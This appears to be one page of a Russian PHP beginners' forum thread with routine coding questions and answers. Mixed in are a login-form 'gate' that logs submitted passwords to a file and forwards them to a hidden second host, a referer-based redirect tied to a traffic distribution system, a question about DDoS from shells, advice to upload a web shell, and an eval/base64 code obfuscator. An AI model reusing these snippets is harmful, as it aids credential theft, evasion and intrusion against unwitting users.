PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 [48] 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

geforse
08.08.2009, 10:50
Как лучше проверять куки у пользователей ?
Я имею ввиду чтобы они туда ничего плохого не записывали

WAYS
08.08.2009, 11:03
Как лучше проверять куки у пользователей ?
Я имею ввиду чтобы они туда ничего плохого не записывали


$COOKIEdata = array("language","login","pass");
foreach($COOKIEdata as $k=>$v) $_COOKIE[$v] = isset($_COOKIE[$v]) ? htmlspecialchars($_COOKIE[$v]) : "";

geforse
08.08.2009, 12:36
спасибо за ответы) новы вопрос)

http://pic.ipicture.ru/uploads/090808/jpYPg0F6uT.jpg

Как мне обновить поле ava у только одного (конкретного) пользователя ?


/* Не пойму что нужно в Order by написать*/

UPDATE `users` SET ava='".$ava."' ORDER BY ????

WAYS
08.08.2009, 12:40
UPDATE `users` SET ava='$ava' where id='$id'

на понятном языке "order by" это сортировка по, а "where" это выборка по параметрам

Например Select (берем) * (все) from test (в таблице тест) where name="Андрей" (у которых ячейка имя - Андрей) order by id (и сортируем по id)

Gifts
08.08.2009, 12:41
geforse
UPDATE `users` SET ava='".$ava."' WHERE id=нужный_ID

Вася Рогов
09.08.2009, 06:41
подкиньте код, который логиница на сайте майл.ру (http://win.mail.ru/cgi-bin/auth)

-JC-
09.08.2009, 06:52
<?php

$url = "http://win.mail.ru/cgi-bin/auth";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=логин&passwd=пароль");
$result = curl_exec($ch);
echo $result;

?>

Наверно как-то так...

Вася Рогов
09.08.2009, 07:17
извиняюсь, забыл сказать (девичья память, ы), мне курл не подходит) есть ли другие способы залогиница?)

mailbrush
09.08.2009, 09:22
fsockopen();
socket_steam_create();

imajo.ati
09.08.2009, 15:46
как сделать так чтобы вывод текста в PHP CLI автоматически производился в кодировке dos-866 ?

KaMiKadZe
09.08.2009, 15:47
<?php
class Pages
{
private $table; // таблица из которой выводить
private $page; // страница на которой мы сейчас
private $lines; // сколько выводить записей
private $where; // условие вывода из базы
private $order_by; // группировка вывода из базы
public $prefix_p; // префикс страницы

public function select_page($table, $page, $lines, $where, $order_by)
{
if(trim($where)) {
$this->where = " WHERE ".$where;
} else {
$this->where = "";
}
if(trim($order_by)) {
$this->order_by = " ORDER BY ".$order_by;
} else {
$this->order_by = "";
}

$this->page = $page - 1; // чтобы страницы выводились с 0, а считались с 1
$this->lines = $lines;
$this->table = $table;
$begin = $this->page * $this->lines;
$sql = "SELECT * FROM `".$this->table."`".$this->where.$this->order_by.
" LIMIT ".$begin.", ".$this->lines;
$result = mysql_query($sql);
$return = array();
while ($obj = mysql_fetch_object($result))
array_push($return, $obj);
return $return;
}
public function link_page()
{

$sql = "SELECT COUNT(*) FROM `".$this->table."`".$this->where.$this->order_by;
$value = mysql_query($sql);
$value = mysql_fetch_row($value);
$alllines = $value[0];
$str = ceil($alllines / $this->lines); // общее число страниц
if($str <= 6) {

for ($i = 0; $i < $str; $i++) {
if($i == $this->page) {
$return .= "[".($i + 1)."]";
} else {
$return .= "<a href='".$this->prefix_p."=".($i + 1)."'>[".($i + 1)."]</a>";
}
}
return $return;
} else {
$str = $str - 3;

for ($i = 0; $i < 3; $i++) {
if($i == $this->page) {
$return .= "[".($i + 1)."]";
} else {
$return .= "<a href='".$this->prefix_p."=".($i + 1)."'>[".($i + 1)."]</a>";
}
}

$return .= "...";
for ($a = 0; $a < 3; $a++) {
if($str == $this->page) {
$return .= "[".($str + 1)."]";
} else {
$return .= "<a href='".$this->prefix_p."=".($str + 1)."'>[".($str + 1)."]</a>";
}
$str++;
}
return $return;
}
}
}
?>

Выводиться [1][2][3]...[8][9][10], как сделать чтобы при переходе на 2, 3 и т.д страницы выводились [2][3][4]...[8][9][10], [3][4][5]...[8][9][10] и т.д
Работает так

class->select_page($table,$p,3,$where,$order_by);

$p это страница на который мы сейчас exapmle.php?p=1 или exapmle.php?p=3...
3 - сколько записей на страницу

KaMiKadZe
09.08.2009, 16:04
Использовать в SQL запросе LIMIT

SELECT * FROM table LIMIT 10,100
LIMIT 10, 100 - выбрать 100 записей, начиная с 10 записи
Уже есть

$sql = "SELECT * FROM `".$this->table."`".$this->where.$this->order_by.
" LIMIT ".$begin.", ".$this->lines;

Проблема не в выводе записей с ними все отлично, проблема как сделать в навигации чтобы по когда переходишь по страницам они увеличивались...
сейчас по страницам как не ходи будет
[1][2][3]...[8][9][10]
а надо чтобы когда например на страницу [3] жмешь стало
[3][4][5]...[8][9][10]

KaMiKadZe
09.08.2009, 16:26
Да Ё :(
Проблема не в выводе записей с ними все отлично, проблема как сделать в навигации чтобы по когда переходишь по страницам они увеличивались...
сейчас по страницам как не ходи будет
[1][2][3]...[8][9][10]
а надо чтобы когда например на страницу [3] жмешь стало
[3][4][5]...[8][9][10]
Еще раз! Мне нужно сделать не вывод он уже есть!
Мне нужна сделать так чтобы навигация выводилась как я написал в скрипте это функция public function link_page()...
Я не могу придумать как так сделать!
Можно сказать что вся суть в этом цикле

for ($i = 0; $i < 3; $i++) {
if($i == $this->page) {
$return .= "[".($i + 1)."]";
} else {
$return .= "<a href='".$this->prefix_p."=".($i + 1)."'>[".($i + 1)."]</a>";
}
}

У меня было несколько попыток что-то сделать, но почему-то не получается у меня это придумать!
Вот одна из попыток

for ($i = $this->page; $i < $this->page+3; $i++) {
if($i == $this->page) {
$return .= "[".($i + 1)."]";
} else {
$return .= "<a href='".$this->prefix_p."=".($i + 1)."'>[".($i + 1)."]</a>";
}
}

Делает бесконечное число страниц =(
Хоть и отражает частично суть как я хочу!

KaMiKadZe
10.08.2009, 03:41
FireFenix,
спасибо, но моим нужды это не удовлетворились :(
Пришлось скурить трубку мира и создать то что сам не понимаю, но зато работает как я хотел :D
Вот пример того как кодить лучше не надо

public function link_page()
{

$sql = "SELECT COUNT(*) FROM `".$this->table."`".$this->where.$this->order_by;
$value = mysql_query($sql);
$value = mysql_fetch_row($value);
$alllines = $value[0];
$str = ceil($alllines / $this->lines); // общее число страниц
$return .= "<div class='navigation'>";
if($this->page != 0) {
$return .= "<a href='".$this->prefix_p."=".($this->page)."'><</a>";
} else {
$return .= "<span><</span>";
}
$return .= "&nbsp;";
if($this->page + 1 != 1) {
$return .= "<a href='".$this->prefix_p."=1'>1</a>";
} else {
$return .= "<span>1</span>";
}

$return .= "&nbsp";
if($this->page + 1 == $str && $this->page + 1 != 1 && $str < 2) {
$return .= "<a href='".$this->prefix_p."=".($this->page - 2)."'>".($this->page -
2)."</a>";
$return .= "<a href='".$this->prefix_p."=".($this->page - 1)."'>".($this->page -
1)."</a>";
}

if($this->page > 1) {
if($str > 1 && $this->page >= 4) {
if($str >= 5 && ($this->page == $str - 1 or $this->page == $str - 2)) {
if($this->page == $str - 2 && $str != 5) {
} else {
$return .= "<a href='".$this->prefix_p."=".($this->page - 2)."'>".($this->page -
2)."</a>";
}

if($this->page == 4 && $str == 6) {
} else {
$return .= "<a href='".$this->prefix_p."=".($this->page - 1)."'>".($this->page -
1)."</a>";
}
}
}
if(($str > 4 && $str < 8 && $this->page == $str - 2) or ($str == 4 && $this->
page == $str - 1)) {
$return .= "<a href='".$this->prefix_p."=".($this->page - 1)."'>".($this->page -
1)."</a>";
}
$return .= "<a href='".$this->prefix_p."=".($this->page)."'>".($this->page).
"</a>";
}

if($this->page + 1 != 1 && $this->page < 2 && $str != 2) {
$return .= "<span>".($this->page + 1)."</span>";
}
if($this->page > 1 && $this->page + 2 <= $str) {
$return .= "<span>".($this->page + 1)."</span>";
}

if($this->page + 2 < $str) {
if($this->page + 1 == 1) {
$return .= "<a href='".$this->prefix_p."=".($this->page + 2)."'>".($this->page +
2)."</a>";
if($str > 3) {
$return .= "<a href='".$this->prefix_p."=".($this->page + 3)."'>".($this->page +
3)."</a>";
}
if($this->page + 3 >= $str) {
} else {
if($str != 4) {
$return .= "<a href='".$this->prefix_p."=".($this->page + 4)."'>".($this->page +
4)."</a>";
}
}

} else {
if($this->page + 1 == 2) {
$return .= "<a href='".$this->prefix_p."=".($this->page + 2)."'>".($this->page +
2)."</a>";
if($str != 4) {
$return .= "<a href='".$this->prefix_p."=".($this->page + 3)."'>".($this->page +
3)."</a>";
}
} else {
$return .= "<a href='".$this->prefix_p."=".($this->page + 2)."'>".($this->page +
2)."</a>";
}
}

}

$return .= "&nbsp";

if($this->page + 1 != $str) {
$return .= "<a href='".$this->prefix_p."=".$str."'>".$str."</a>";
$return .= "&nbsp";
$return .= "<a href='".$this->prefix_p."=".($this->page + 2)."'>></a>";

} else {
if($str > 1) {
$return .= "<span>".$str."</span>";
}
$return .= "<span>></span>";
}
$return .= "</div>";

return $return;

}

До сих пор удивляюсь как все работает :confused:

m0Hze
10.08.2009, 04:01
Я просто в шоке кажеться.
Я так понимаю ТС нужна была работающая постраничная навигация? И ради этого он накодил это гнечто? ОМГ.

Вася Рогов
10.08.2009, 07:22
m0Hze, дада, но ТС это топик стартёр, а тот тип просто садомаза))

KokauH
10.08.2009, 13:28
Можно ли написать скрипт редиректа с перехватом рефера? Если рефер передаётся, то редирект происходит, а если рефер не передаётся, то редиректа не происходит просто отображается белый экран?

b3
10.08.2009, 13:29
Реферер легко потделать, поетому никогда не расчитывайте на него.

KokauH
10.08.2009, 13:52
Ну а всё же? Если да, то как будет выглядеть?
В php вообще не силён :(

PaCo
10.08.2009, 14:00
Ну а всё же? Если да, то как будет выглядеть?
В php вообще не силён :(
В simple TDS это уже есть если про это, а еcли нет то -

if(!empty($_SERVER['HTTP_REFERER']))
{
header("Location: http://www.example.com/");
}
die;

KaMiKadZe
10.08.2009, 14:11
Я просто в шоке кажеться.
Я так понимаю ТС нужна была работающая постраничная навигация? И ради этого он накодил это гнечто? ОМГ.
Ну да нужна была навигация и не просто, а такая которую хочу я =)
Не помню как это писал и до сих пор не пойму как это работает, но работает правильно и так как я хотел =)
m0Hze, дада, но ТС это топик стартёр, а тот тип просто садомаза))
Ничего подобного! =) Я написал то что работает, а дальше уже пофигу :D Хотя щас понимаю что можно все сделать немного попроще, но лучше не буду трогать, работает да и ладно :p
Проверил когда всего 1,2,3,4,5,6,8 и больше страниц вроде ничего неправильного не появилось, значит все отлично :)
p.s Наверное мой код если его можно назвать кодом похож на код который в висте =)

unixsys
10.08.2009, 16:06
Доброго времени суток..Я задам простой вопрос который относится к PHP/MySQL
Я вообще хочу всё изучать с нуля. Если поможете буду признателен.Так как я хочу этому научится и имею большой интерес и потенциал .
Заранее спасибо

Sharky
10.08.2009, 16:23
Доброго времени суток..Я задам простой вопрос который относится к PHP/MySQL
Я вообще хочу всё изучать с нуля. Если поможете буду признателен.Так как я хочу этому научится и имею большой интерес и потенциал .
Заранее спасибо
очень интересный вопрос...ой...а вопрос то где?

s.p.a.m
10.08.2009, 16:26
Вопрос такой: я получаю с помощью курла исходник страницы, записываю в переменную и в этом исходнике мне нужно с помощью регулярок достать одну ссылку. Начало мне известно /page.php?act=pos&hash= ,но параметр hash всегда разный и мне нужно отпарсить эту ссылку вместе с хешем. Вот пример хеша 5fdb61085849e51fc4.
Заранее благодарен.

Gaus
10.08.2009, 16:29
Вопрос такой: я получаю с помощью курла исходник страницы, записываю в переменную и в этом исходнике мне нужно с помощью регулярок достать одну ссылку. Начало мне известно /page.php?act=pos&hash= ,но параметр hash всегда разный и мне нужно отпарсить эту ссылку вместе с хешем. Вот пример хеша 5fdb61085849e51fc4.
Заранее благодарен.
Покажи кусок кода там где есть нужная ссылка
т.е. то, что идет после хэша

Gaus
10.08.2009, 16:30
Доброго времени суток..Я задам простой вопрос который относится к PHP/MySQL
Я вообще хочу всё изучать с нуля. Если поможете буду признателен.Так как я хочу этому научится и имею большой интерес и потенциал .
Заранее спасибо
https://forum.antichat.ru/thread81500.html

s.p.a.m
10.08.2009, 16:34
</span><a style='font-weight:normal' href='/page.php?act=pos&hash=5fdb61085849e51fc4'>Изменить</a><span class="divider">

Gaus
10.08.2009, 16:43
</span><a style='font-weight:normal' href='/page.php?act=pos&hash=5fdb61085849e51fc4'>Изменить</a><span class="divider">
preg_match("/hash=(.+)'/", $answ, $match);
echo $match[1];

PaCo
10.08.2009, 16:57
Если там будет еще одна кавычка после линка без переводов строки то он сожрет все что до нее, жадность в таких случаях уменьшают - U

s.p.a.m
10.08.2009, 17:10
Странно, но мне выдало вот что: fbb77e87fd21bc22b430d84770ac352bd5ed3e48f70e8e4868 f1deb3e114eefcc0256c1de36d32b4adcbc71d93

eLWAux
10.08.2009, 17:31
/hash=([\da-f]+)'/

s.p.a.m
10.08.2009, 17:33
/hash=([\da-f]+)'/
всё работает спасибо!

Balvan
10.08.2009, 17:49
У меня вопрос по движку Shop-script

Проблема с админкой, выдает : Fatal error: Class 'PEAR' not found in [путь]/kernel/wbsinit.php on line 356

Помогите пожалуйста, я уже в отчаянии. =\



return PEAR::raiseError( "Error loading file: $langListFileName" );

$result = array();

$handle = fopen( $filePath, "r" );

while ( ($data = fgetcsv($handle, 100, "\t") ) !== FALSE ) {
if ( array_key_exists( $data[0], $serverLanguages ) )
$wbs_languages[$data[0]] = array( WBS_LANGUAGE_ID=>$data[0], WBS_LANGUAGE_NAME=>$data[1], WBS_ENCODING=>$data[2] );
}

fclose($handle);

return null;
}
?>

dinar_007
10.08.2009, 18:32
У меня вопрос по движку Shop-script

Проблема с админкой, выдает : Fatal error: Class 'PEAR' not found in [путь]/kernel/wbsinit.php on line 356

Помогите пожалуйста, я уже в отчаянии. =\



return PEAR::raiseError( "Error loading file: $langListFileName" );

$result = array();

$handle = fopen( $filePath, "r" );

while ( ($data = fgetcsv($handle, 100, "\t") ) !== FALSE ) {
if ( array_key_exists( $data[0], $serverLanguages ) )
$wbs_languages[$data[0]] = array( WBS_LANGUAGE_ID=>$data[0], WBS_LANGUAGE_NAME=>$data[1], WBS_ENCODING=>$data[2] );
}

fclose($handle);

return null;
}
?>

Пир поставь...

Balvan
10.08.2009, 19:29
dinar_007 куда? как?

omfg
10.08.2009, 19:38
у тебя винда?
1)cmd.exe (Командная строка)
Набиваешь: сменить папку в которой у тебя лежит PHP и PHP.exe

У меня PHP лежит на C:\PHP
cd C:\PHP

2) Запускаешь go-pear.bat

3) PEAR предложит несколько вопросов, ответить на них

4) pear.bat install mdb2

Эта команда будет работать в том случае если есть подключение к интернету.
Она скачивает и устанавливает файл(ы)

eLWAux
10.08.2009, 19:39
балван: pear.php.net

imajo.ati
10.08.2009, 20:15
как сделать так чтобы вывод текста в PHP CLI автоматически производился в кодировке dos-866 ?

max_rebel
11.08.2009, 00:26
Подскажите как работает link()? запутался =(

В идеале надо бы так: жму на ссылку "Посмотреть на карте" и в новом окне открывается уже карта гугл с отмеченным местом на карте.

Что нужно писать в параметры link()?

dinar_007
11.08.2009, 00:28
как сделать так чтобы вывод текста в PHP CLI автоматически производился в кодировке dos-866 ?
Буферизацию включи, и на калбак функцию конвертирования повесь, чтобы через iconv в нужную кодировку переводилось на лету...

dinar_007
11.08.2009, 00:33
Подскажите как работает link()? запутался =(

В идеале надо бы так: жму на ссылку "Посмотреть на карте" и в новом окне открывается уже карта гугл с отмеченным местом на карте.

Что нужно писать в параметры link()?
Учись правильно выражать свои мысли плиз... Из твоего словесного описания того, о чем ты думаешь только одно пришло в голову.........
http://www.google.com/search?q=%D0%BA%D0%B0%D0%BA+%D0%BF%D0%BE%D1%81%D1% 82%D0%B0%D0%B2%D0%B8%D1%82%D1%8C+google+maps+%D1%8 1%D0%B5%D0%B1%D0%B5+%D0%BD%D0%B0+%D1%81%D0%B0%D0%B 9%D1%82&sourceid=opera&num=0&ie=utf-8&oe=utf-8

Sizam4ik
11.08.2009, 00:54
1. Как добавить нумерацию всех строк?
2. Как убрать первое значение каждой строки до разделителя "|" ?


<?php

$file = file ( 'file.txt' );

echo "
<table>
<tr>
<td>1</td><td>2</td><td>3</td><td>4</td>
</tr>
";


foreach ( $file as $string )
{

$string = trim ( $string );
$string_array = explode ( "|", $string );

echo "
<tr>
";


foreach ( $string_array as $column )
{

$column = trim ( $column );
if ( $column == '' )
{
$column = '&nbsp;';
}

echo "
<td>
$column
</td>
";

}

echo "
</tr>
";

}

echo "
</table>
";

?>

dinar_007
11.08.2009, 01:00
1. Как добавить нумерацию всех строк?
2. Как убрать первое значение каждой строки до разделителя "|" ?


<?php

$file = file ( 'file.txt' );

echo "
<table>
<tr>
<td>1</td><td>2</td><td>3</td><td>4</td>
</tr>
";


foreach ( $file as $string )
{

$string = trim ( $string );
$string_array = explode ( "|", $string );

echo "
<tr>
";


foreach ( $string_array as $column )
{

$column = trim ( $column );
if ( $column == '' )
{
$column = '&nbsp;';
}

echo "
<td>
$column
</td>
";

}

echo "
</tr>
";

}

echo "
</table>
";

?>



$i=0;
foreach ( $string_array as $column )
{
echo $i++.$column[1];
}

Велемир
11.08.2009, 03:46
Вопрос: Возможно ли упростить этот ккод? использование курла обязательно.



<?php

function go($url,$req = '') {

$url = $url;

$ch = curl_init();

curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cook");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cook");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);

$res = curl_exec($ch);

echo $res;

curl_close($ch);

}

?>



Скрипт - functions.php

В основном скрипте так:


<?php

include "functions.php";

go("www.wiw.ru");

?>

Велемир
11.08.2009, 04:00
Ещё проблемка:

Перешёл на урл http://roboxchange.com/Client/OpCalcEx.p?IncCurrLabel=PCR&OutCurrLabel=WMR курлом,но он выдал какую-то белеберду.Посылал хеадером заголовок Content-Type в разных кодировках.Никакого результата.КТо может помочь,кроме гугла ? У гугла просил,но он слишком пьян,чтобы со мной говорить.Проверил сниффером,выдаётся заголовок Content-Type: text/html; charset=utf-8,а браузер выдаёт норм...странно.

Кодировка,кстати,не меняется...

b3
11.08.2009, 05:28
жжош нипадецки

<?php
$url = 'http://roboxchange.com/Client/OpCalcEx.p?IncCurrLabel=PCR&OutCurrLabel=WMR';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_exec($ch);
?>

dinar_007
11.08.2009, 12:50
Вопрос: Возможно ли упростить этот ккод? использование курла обязательно.



<?php

function go($url,$req = '') {

$url = $url;

$ch = curl_init();

curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cook");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cook");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);

$res = curl_exec($ch);

echo $res;

curl_close($ch);

}

?>



Скрипт - functions.php

В основном скрипте так:


<?php

include "functions.php";

go("www.wiw.ru");

?>

function go($url) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
echo curl_exec($ch);
curl_close($ch);
}

Велемир
11.08.2009, 14:00
Странно...сегодня работает кодировка.Вчера вообще ни хрена не пахало.Извиняюсь за пост.

Велемир
11.08.2009, 15:10
http://roboxchange.com/Client/OpCalcEx.p?IncCurrLabel=PCR&OutCurrLabel=WMR

Кто-нибудь пробовал данные передавать ? Простой гет запрос не канает.Пробовал данные постом передать.Передал все переменные и значения с формы(__VIEWSTATE='значение'),но,п о идее,должно после указания валюты считать,сколько будет на выходе после конверта.Там какие-то скрытые поля юзятся,что просто перейти,используя переменные,указанные в select,не получится... МожетЮкто подскажет,почему не выходит ? Да,я ещё передал в пост запросе <select> переменные.Может,из-за этого ? Хорошо было бы увидеть рабочий вариант.

ЗЫ: Дальше идёт такая же фигня - везде скрытые поля.В именах переменных стоит символ $.

warlok
11.08.2009, 15:12
есть ли способы отправить данные например $_POST['test']; по такой схеме: из формы на первый гейт на этом же хосте, после чего с этого гейта на другой уже на другом хосте ? сокеты тут непогут т.к. фри хосты их недержат почти всегда, надо как то подругому.
UPD:коечто надумал: проинклудить в 1 обработчик 2 гейт с другого сайта но он непринимает данные, я наверн чето неправильно зделал(
Вот пример того что у мя есть:
index.php

<form name="key" action="index.php" method="post">
<table border="0"><tr>
<td>name:</td>
<td><input type="text" name="name" size="15"></td></tr><tr>
<td>password:</td>
<td><input type="text" name="password" size="15"></td></tr></table>
<input type="submit" name="submit" value="Enter">
<?php

$name = $_POST['name'];
$pass = $_POST['password'];

if ($_POST[submit] == "Enter")
{
include("http://127.0.0.1/gate2.php");
}

?>

gate2.php

<?php

$fp = fopen("log.txt","a+");
fwrite($fp,"$name:$pass\n");
fclose($fp);

header("Location: http://google.ru");

?>

хмм до этого тестил у ся на локальной тачке оно инклюдило, шас попробывал с веба .... полети ошибки :o

-=Zhenek=-
11.08.2009, 17:28
Заинклудить на хостинге фаил с другово сайта неполучится..(может не прав,но у меня никогда не получалось.)

Что мешает с формы сразу передать на первый гейт?

<form name="key" action="geit1.php" method="post">

А в этом гейте поймать то что тебе нужно и уже например жабаскриптом собрать пост запрос и кинуть на гейт 2 ?

Может не так понял вопрос..

warlok
11.08.2009, 17:35
мне надо чтобы гейт2 непалился юзером а так получаеться что он его увидет, так?

-=Zhenek=-
11.08.2009, 17:57
нет. если все сделать красиво,то с формы его отправит на гейт1 там джаваскрипт (аякс) соберет пост запрос и невидимо для клиента отпавит на гейт 2 (он даже адрес не узнает если в джаваскрипе передать данные скрипту) могу сделать готовое и показать. доработаешь сам как нужно.

b3
11.08.2009, 18:00
Формируеш GET пакет исходя из данных первой формы и шлеш его обыкновенным file_get_contents() на второй скрипт который принимает GET .

warlok
11.08.2009, 18:14
Формируеш GET пакет исходя из данных первой формы и шлеш его обыкновенным file_get_contents() на второй скрипт который принимает GET .
во таким образом вышло)) пасиба всем за помошь)

geforse
11.08.2009, 18:54
del

-=Zhenek=-
11.08.2009, 19:02
Помгите с htaсcess

в коде страницы :

<LINK href="css.css" type=text/css rel=stylesheet>

в htaсcess


RewriteRule ^add(/?)+$ index.php?act=add [L]
RewriteRule ^shabls(/?)+$ index.php?act=shabl [L]
RewriteRule ^shabls/edit/([0-9]+)(/?)+$ index.php?act=shabl&d=edit&id=$1 [L]
RewriteRule ^kat/([^/]*)(/?)+$ index.php?cat=$1 [L]


при переходе на адрес :

http://job.ru/kat/duck

Страница открывается какая надо,а вот фаил стилей нет.Он не грузится вообще(
видимо для данного примера ему нужно прописать так:


<LINK href="../../css.css" type=text/css rel=stylesheet>

Но только это не выход. уровней может быть 2-5-10 .
как быть?

при формировании меню например :

формирую так :

echo " <TR>
<TD class=m3><A class=m href=\"kat/$url\"><IMG src=\"ar.gif\" alt=\"Объявления $kname\" width=9 height=9 border=0>
$kname</A></TD>
</TR>";

Получается нормально но при переходе на любую ссылку следующий адрес получается такой
http://job.ru/kat/kat/dogs
потом
http://job.ru/kat/kat/kat/dogs

и так далее(((

-=Zhenek=-
11.08.2009, 19:20
задавай абсолютный адрес, а не относительный

www.site.com/styles/style.css

Можно,но например ДЛЕ. там адрес относительный (а htaccess взят оттуда и видоизменен) как это реализовано там?
Смотрел код вроде все обчычно.

UPD : картинки прописаны в файле css . как быть с ними? указывать пути в css файле php это перебор((

-=Zhenek=-
11.08.2009, 19:36
в ДЛЕ у каждой темы свой стиль и задаётся @import url({THEME}/css/style.css); где {THEME} путь до темы, который пхп перезаписывает во время загрузки шаблона/темы


Открыл дле сайт.в коде страницы цсс стиль прописан так:


<style type="text/css" media="all">
@import url(/templates/warrexru/style/main.css);
</style>


Переходи например в дерикторию ниже.

site.ru/films/

и всеравно в коде


<style type="text/css" media="all">
@import url(/templates/warrexru/style/main.css);
</style>


как видно путь всетаки относительный(

и как отредактировал сообщение выше как быть с картинками в css файле?

Fepsis
11.08.2009, 23:59
Велемир, вот рабочий код:
http://dump.ru/file/3221364
Тут не стал выкладывать, так как скрипт отображается не красиво... :)

BiG_][aKeR
12.08.2009, 12:48
Возникла такая проблема,нужно как то использовать ф-цыю set_time_limit(0);,но сервер запретил использование етой ф-цыи,кто знает,как можно ето обойти??

Fuckel
12.08.2009, 12:50
попробуй ini_set('max_execution_time',60)

geforse
12.08.2009, 14:02
Чекер прокси

как целесообразнее чекать прокси ?


$ch = curl_init('http://2ip.ru/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_REFERER, 'http://www.google.com/');
curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch,CURLOPT_TIMEOUT, "15");


вогнал это в цикл и дал ~1000 проксей, скрипт на локалхосте уже минут 30 работает )

Дикс
12.08.2009, 15:27
curl_multi - это и есть многопоточность на пхп?

Велемир
12.08.2009, 16:16
Нет, это эмуляция многопоточности.Полноценн ю в РНР 7 обещали,как сказал Zedi.

Велемир
12.08.2009, 16:54
[aKeR']Возникла такая проблема,нужно как то использовать ф-цыю set_time_limit(0);,но сервер запретил использование етой ф-цыи,кто знает,как можно ето обойти??

Если у тебя хостинг,то залей шелл и глянь,какие функции отключены.Потом просто найди аналог и всё...через гугл,разумеется.

b3
12.08.2009, 18:09
Вот можн почитать что можно инициализировать с помощью функции ini_set и кому ето можно SYSTEM или ALL
На хостингах часто запрещают
set_time_limit(0);
Но есть возможность использовать max_execution_time потому что PHP_INI_ALL
Так же полезно :
memory_limit
allow_url_fopen
file_uploads
даже register_globals :D
Вообщем вот весь список http://www.php.su/functions/?ini-set

roooot
13.08.2009, 13:10
Чем отличается echo от print ?

Gifts
13.08.2009, 13:40
roooot http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

inlanger
13.08.2009, 22:26
Чем отличается echo от print ?
echo это просто вывод, а print даёт возможность форматированного вывода, аналог printf в СИ

Кубик Рубик
14.08.2009, 02:22
Привет, у меня вопросы по теоретическому материалу ООП!
В интернете много информации на эту тему, но стоит пробежаться по ней как в голове сразу возникает каша. Ибо везде разным понятиям дается размытое определение.
В частности у ООП есть 2 принципа которые плохо изъясняются: Абстрагирование и инкапсуляция.

Начнем...
Благодаря абстракции в ООП, мы представляем объект как некую сущность(в адресном пространстве), которая имеет существенные признаки: свойства и методы. Таким образом, программный объект*— это абстракция.

Теперь...
Детали реализации объекта скрыты, он используется через его интерфейс*— совокупность правил доступа(набор определенных методов и свойств к которым программист может обратится). Скрытие деталей реализации называется инкапсуляцией.

Итак, объект*— это инкапсулированная абстракция с четко определенным интерфейсом.

Это позволяет представить программу в укрупненном виде — на уровне объектов и их взаимосвязей.

Я все правильно понял?

Вопрос №2:
Если при создании класса не были применены спецификаторы доступа, т.е. все свойства и методы public, то он не является инкапсулированным?

mr.The
14.08.2009, 09:59
Как ддосить с шеллов?думаю уже есть готовое решение.. но хочется самому что нибудь простое накатать
так же как и с ботов - отсыланием http(или чего там тебе надо) запросов

okthxnz
14.08.2009, 15:40
Народ, как изменить вид PHP скрипта, но оставив функциональность на прежднем уровне?

Но не с помошью утилит, они не оч удобны)

inlanger
14.08.2009, 16:59
base64_encode($str);
base64_decode($str);

Pashkela
14.08.2009, 17:52
Скрипт, "шифрующий" ваш php-код. Все результаты сохранятся в файле result.txt (т.е. именно так исходники вашего "зашифрованного" php-скрипта, идея oRb, а кто там ДО был - хз, в цикле выставляете желаемое кол-во итераций):

Скрипт, отвечающий за шифровку php-скрипта:


<?php
$ishodnik = 'test.php';// имя файла, который "шифруете"
$kol = 10; // сколько раз хотите прогнать через цикл - чем больше, тем больше код и объем соответственно
$code = file_get_contents($ishodnik);
for($i=0;$i<$kol;$i++) {
$code = "eval(gzinflate(base64_decode('".base64_encode(gzdeflate($code, 9))."')));";
}
file_put_contents('result.txt', $code);
echo 'Done. Source saved in result.txt';
?>


Примечание: код исходного скрипта не должен содержать символы "<?" и "?>" в начале и в конце, и то, что получилось в result.txt надо вызывать так:

<? тут содержимое result.txt ?>

т.е., чтобы уже до конца было понятно, при числе итераций=10 и исходном коде:


phpinfo();


у вас получиться такой вот зашифрованный код, но который, тем не менее, является вполне рабочим и делает то, что ему предписано:


